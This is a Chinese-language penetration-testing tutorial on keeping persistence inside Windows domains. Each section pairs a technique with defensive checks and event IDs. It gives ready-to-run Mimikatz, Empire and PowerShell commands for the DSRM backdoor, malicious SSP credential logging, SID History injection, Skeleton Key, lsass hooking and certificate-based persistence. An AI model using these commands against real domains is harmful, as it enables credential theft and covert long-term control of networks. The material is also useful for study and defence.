内网渗透之内网权限维持
字数 1587 2025-08-22 22:47:30
内网渗透权限维持技术详解
目录服务恢复模式(DSRM)后门
基本概念
DSRM(Directory Services Restore Mode)是Windows域控制器的安全模式启动选项,每个域控制器都有一个本地管理员账户(DSRM账户),用于在域环境故障时恢复活动目录数据库。
利用方法
密码同步步骤
-
获取krbtgt账户的NTLM Hash:
privilege::debug lsadump::lsa /patch /name:krbtgt -
查看DSRM账户的NTLM Hash:
token::elevate lsadump::sam -
同步DSRM与krbtgt账户的Hash:
ntdsutil set DSRM PASSWORD SYNC FROM DOMAIN account krbtgt q q -
修改DSRM登录方式(注册表):
New-ItemProperty "hklm:\system\currentcontrolset\control\lsa\" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD- 0: 仅DSRM模式可用
- 1: AD服务停止时可用
- 2: 始终可用
-
使用哈希传递攻击:
privilege::debug sekurlsa::pth /domain:DC /user:administrator /ntlm:[krbtgt_hash]
防御措施
- 定期检查注册表键值
HKLM\System\CurrentControlSet\Control\Lsa\DsrmAdminLogonBehavior - 定期修改所有域控制器的DSRM账号密码
- 监控ID为4794的事件日志
安全支持提供程序(SSP)注入
基本概念
SSP(Security Support Provider)是Windows身份认证机制的DLL组件,通过注入恶意SSP可获取lsass.exe进程中的明文凭据。
利用方法
方法一:内存注入(非持久)
privilege::debug
misc::memssp
登录凭据将记录在C:\Windows\System32\mimilsa.log
方法二:mimilib.dll持久化
- 复制mimilib.dll到
C:\windows\system32\ - 修改注册表:
HKEY_LOCAL_MACHINE/System/CurrentControlSet/Control/Lsa/Security Packages - 凭据记录在
C:\windows\system32\kiwissp.log
Empire框架实现
-
枚举SSP:
usemodule persistence/misc/get_ssps execute -
安装SSP:
usemodule persistence/misc/install_ssp set Path C:\path\to\mimilib.dll execute
防御措施
- 检查注册表
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Lsa/Security Packages - 监控
C:\Windows\System32\目录下的可疑DLL - 使用工具检查LSA中的可疑DLL
SID History权限维持
基本概念
通过向用户添加高权限SID到SID History属性,可维持域内权限。
利用方法
-
使用Mimikatz注入SID:
privilege::debug sid::patch sid::add /sam:target_user /new:administrator -
清除SID History:
sid::clear /sam:username
防御措施
- 定期检查SID为500的用户
- 监控ID为4765和4766的事件日志
- 检查具有相同SID History属性的用户
Skeleton Key(万能密码)
基本概念
在域控制器lsass.exe进程中注入万能密码,可使用默认密码"mimikatz"认证任意域账户。
利用方法
Mimikatz实现:
privilege::debug
misc::skeleton
使用:net use \\dc\ipc$ "mimikatz" /user:hacke\administrator
Empire实现:
usemodule persistence/misc/skeleton_key
execute
防御措施
- 启用LSA保护策略
- 域管理员使用强密码
- 启用双因子认证
- 配置应用程序白名单(Applocker)
Hook PasswordChangeNotify
基本概念
通过Hook密码更改通知函数,记录用户修改后的明文密码。
利用方法
- 编译HookPasswordChange.dll
- 使用PowerShell注入lsass:
Import-Module Invoke-ReflectivePEInjection.ps1 Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass - 密码记录在
C:\Windows\Temp\passwords.txt
防御措施
- 严格监控PowerShell活动
- 启用约束语言模式
ADCS证书权限维持
基本概念
利用Active Directory证书服务(ADCS)获取持久化访问权限。
利用方法
-
导出用户证书:
certutil -user -exportPFX [cert_serial] C:\path\to\cert.pfx -
使用证书获取NTLM:
tgt::pac /subject:username /castore:current_user /domain:domain.name -
即使密码更改后仍可使用证书认证
防御措施
- 严格控制证书模板权限
- 定期审计证书颁发
- 监控异常证书请求活动
总结
内网权限维持技术多样,防御需要多层次策略:
- 定期审计关键系统组件和配置
- 实施严格的权限管理
- 启用全面的日志监控
- 保持系统补丁更新
- 限制PowerShell等高危工具的使用